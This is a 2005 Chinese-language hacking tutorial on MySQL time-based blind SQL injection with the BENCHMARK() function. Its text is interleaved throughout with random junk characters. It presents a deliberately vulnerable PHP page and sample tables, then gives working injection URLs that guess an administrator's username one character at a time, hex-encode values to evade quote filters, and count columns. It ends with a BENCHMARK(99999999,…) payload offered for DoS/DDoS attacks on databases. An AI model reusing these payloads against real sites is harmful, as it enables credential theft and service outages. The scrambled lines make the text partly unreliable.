MYSQL中BENCHMARK函数的利用 & H! W* C/ g. K4 E6 o% E8 K* n
本文作者:SuperHei
; R# h& d6 H6 u2 i% K文章性质:原创
' \" T$ a2 Z% Q- n6 b6 i( @发布日期:2005-01-02
+ C+ O& |, L4 c. T' C完成日期:2004-07-09 8 W( k; f( k- t
第一部& m9 {7 j X$ J2 x
5 D2 {# [" R8 E: a7 m- d7 C& n! B1 I利用时间推延进行注射---BENCHMARK函数在注射中的利用
7 Z! D5 U& c9 \$ r; N! o1 j1 Y* i) O3 ?- e; _" x
一.前言/思路, Z7 T6 `; d2 J6 A( E
& t I; a; s* D- k
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
^( u* {% x0 H5 i M+ G# y# {; ]8 h- b: w# A/ J
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。9 a+ d/ g, X& R" [. }6 ^
9 Z6 b- Q! u3 I, F$ [二.关于BENCHMARK函数
: y% m! O& S6 [8 \8 f3 R0 |3 k c( f: f# @6 \$ L: Q
在MySQL参考手册里可以看到如下描叙: 5 P% M' J% O" W. Z9 v
, z8 B3 \* o" C
6 F& l( ? h8 g--------------------------------------------------------------------------------
2 M' ]2 e4 y4 L5 ]0 s% `) c$ a O
BENCHMARK(count,expr)
! C+ U" ~8 z6 |* R( O# _, V: eBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 4 F7 I- ]* J. ^- F! ~- _; e
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
' h' y: ]8 O+ d( r8 V/ h+----------------------------------------------+
4 [3 d% g7 s4 E3 u. z| BENCHMARK(1000000,encode("hello","goodbye")) | : t5 T0 i' j* O
+----------------------------------------------+
. }! ^. @/ p% Q| 0 | # h1 N3 l% m0 s- L# a. X
+----------------------------------------------+
# w, ~) Q& ^# e) Y, e4 f1 row in set (4.74 sec) 7 Q! u' c! q8 Z0 N1 x1 M+ j
8 e* Y; h2 @& B2 `
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。$ {% j2 N" M6 G' N
' a% r+ b: }% u& o2 `( Y
6 b+ i7 ]* k5 j G8 V1 U' m$ ~--------------------------------------------------------------------------------- M! q& X% K) n
1 P7 p" z2 ?9 M, @! k. ~
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: " |+ o9 u- L: D( U
, i. a' k4 W- C y* n" C1 D H: M% c" c
mysql> select md5( 'test' );
8 I) y9 m* y- [# I+----------------------------------+ , B2 M% e, U. K" L
| md5( 'test' ) | . {* U$ L1 B c# [7 Y% G" ?" R
+----------------------------------+ 2 H* Y) ~3 M, E. Z
| 098f6bcd4621d373cade4e832627b4f6 |
, K1 p6 y- g: B6 Z! u6 a; q+----------------------------------+
7 h% N" @0 i1 g& v% V1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec [* t7 T0 z+ I8 {, W
4 C# @& c4 p Q+ Y( n, k
mysql> select benchmark( 500000, md5( 'test' ) ); # ?3 c+ r j, |7 a. |1 V4 _
+------------------------------------+ ; E4 F8 P1 l& ^; p4 w$ J) W
| benchmark( 500000, md5( 'test' ) ) |
" j/ Z$ c/ e1 B# Z! F# L+------------------------------------+
5 H" E3 _9 x# @8 j {| 0 |
8 ~4 i U. y4 {; X% @+------------------------------------+
: B% F" ~' e0 J5 f* j8 y0 y1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
, ?5 |' R6 d2 v' W ; W+ U8 b% e& F9 T
# @/ r- ]9 U' } t2 }
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 + o' a8 `- Z0 ^4 G0 ]( w8 Q3 s
1 m3 ]: G! k8 t5 j三.具体例子9 ?: I3 K' |" Z: n2 x6 M- ]- u
$ U" q2 Q$ \9 S( p6 Q 首先我们看个简单的php代码:
& d* T+ J1 w Q/ n' |% f8 H G
< ?php
0 l7 A2 U/ }* ?: s$servername = "localhost"; . u/ W: V" Y; R) b$ C4 n6 j; c
$dbusername = "root"; + F* W) i/ [; [7 p
$dbpassword = "";
u3 T: [5 w' l7 z$dbname = "injection";
5 d; @ T, ]/ }# B! Y' y1 w! Z$ ?+ }
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); # @4 t F: U0 P2 {
6 f) w# K$ A+ Z
$sql = "SELECT * FROM article WHERE articleid=$id"; % r* ^3 D: |6 \( P- W5 |9 Y' ?
$result = mysql_db_query($dbname,$sql); 0 f2 D/ ? c% ?1 K4 ^ g
$row = mysql_fetch_array($result); $ F9 n+ e& h: A6 K
8 n/ M6 s+ }" B- gif (!$row)
$ I4 ^& d4 w2 S7 z* `9 j# c" j{ % u2 @) V3 M5 H# c8 d% j& n8 E, R
exit; % x( R# W# u. O/ i, K1 K1 n
}
& |# S' C# v# _. s* \3 ]% j?>
8 l8 {+ k0 d, T9 b: o, }. p. B9 J: ~. F
* |" N; S% s; |5 F
X6 }2 {0 C0 f1 o0 O. ? 数据库injection结构和内容如下:
0 d5 u" T- }4 J
h* X- a( }2 x# 数据库 : `injection` 2 E# ?' ~+ E4 H6 t6 p7 O
#
I1 E; {* I" K$ A0 {; m4 }% \
6 b4 K+ J% L/ Y0 P0 W# --------------------------------------------------------
9 e( P! _7 u1 F. q. ?3 M
' f+ M2 o8 K. J0 |0 Y. |) R! p) y# - }1 [' {) { x8 z; }0 O
# 表的结构 `article`
( N( f$ Z5 F7 d" W5 J7 k#
" [( \' z4 S2 b' x$ `- L: }: Z8 U& W$ ?6 r
CREATE TABLE `article` ( 2 d6 w0 N5 f2 ]& }5 L
`articleid` int(11) NOT NULL auto_increment, 0 i% _0 W# L1 k0 K/ `/ V& x
`title` varchar(100) NOT NULL default '', 5 }3 V6 E' ^" F8 I
`content` text NOT NULL,
# H1 \0 f" W c/ a! i4 Y- CPRIMARY KEY (`articleid`)
; h r* V* Q; Y ~4 W) TYPE=MyISAM AUTO_INCREMENT=3 ;
' B- Q) A: `8 C5 g* u
) i1 l) o0 N, A6 m) i, x#
) ~9 w6 z8 h4 a( ?% U0 l# 导出表中的数据 `article`
" x& R9 z( Q: X: |# v- G: k#
+ a. W) k4 A% z* _7 _ P2 k, s( R
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 7 {: U: y3 K+ E6 e. U% y( E
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 q) g' ?4 z, p) E% c5 |1 a. V* ?9 D* B- u# z) @7 B6 m
# -------------------------------------------------------- 2 U, c8 ]# @ v+ H! n
/ x l- L w! r5 U
#
( M3 d: Q6 v/ I- b6 ^# 表的结构 `user`
% U5 [5 G% y1 o7 e! O# : M: l4 N/ x: K6 @, ~4 N9 o& \
! g4 F2 D. E$ \8 C& J0 Z8 b2 `1 yCREATE TABLE `user` ( ; Z% i. F: ~1 t- [3 B
`userid` int(11) NOT NULL auto_increment,
" ^" F% B4 s) S`username` varchar(20) NOT NULL default '', 8 k$ P- W' \* g' x) b
`password` varchar(20) NOT NULL default '',
% l- t* d/ [% a$ G+ P3 S5 h- [PRIMARY KEY (`userid`)
' p2 U6 X& @7 @8 j5 S) TYPE=MyISAM AUTO_INCREMENT=3 ; ! K8 ?$ T' o- K1 L. X( C
4 T" J0 j/ C: b8 k( q
#
' k% T& E" X1 V# 导出表中的数据 `user`
* L8 [9 |4 y! h# & j" {! f( v" s! x
t. u1 A* k* K& ?7 @; P# \! ~5 k2 OINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ' @4 w5 ^9 {& A$ m) Q6 g; ?# V; [
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2'); a. t" A, Z, S( T. X
, k# @0 f( h% q$ p n5 k
6 z5 T: @' L' M% ^ 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" R8 D9 W# ?) q, ^+ C* v; X3 G9 h8 S' k W5 P. B! s2 B
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
# N8 |# m! O! N" ^ $ w5 e* U8 h& ~2 b
& P. o1 T+ A! }! v, W# P) P
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) \5 X& P9 ~* @3 k+ \$ J
2 j8 n6 J1 S2 M
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
4 z7 N; _5 F- A: Q
' J ]4 k5 u }$ C5 O; T, P+ |* w I- w. q2 a. O) X" j3 k9 H# e
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
4 j7 f' }6 E4 W1 U4 K/ ?
9 @* E e2 Q' X5 B% P) L! F0 M/ { 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
8 g7 r3 Q& h: q8 D* [. W$ M) q5 X6 n- [6 X
第二部4 m! Q0 R! ]% }
% D$ i7 n) H$ H* N! r _5 k利用BENCHMARK函数进行ddos攻击 a% n" q0 Y4 B
2 a# I8 \3 E9 U, ]
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
0 V1 F, i5 X( M! P& N) ? e l
' C& d2 |# a+ e* bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))* R3 q+ m+ C8 _* {9 w+ T
) ~7 D F, E& ?8 l% `! M+ {: U, z2 c. Z- d# j; T
小结5 ~5 ]3 Y' B% I% y7 V z8 a
' z( g6 F; c. M& H" a" ] 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。0 N2 V( ~. Q1 [9 o. d9 n# q
& M& ], z$ q3 @7 {' e1 V2 b
9 T5 h5 ?6 V3 J, p% I
|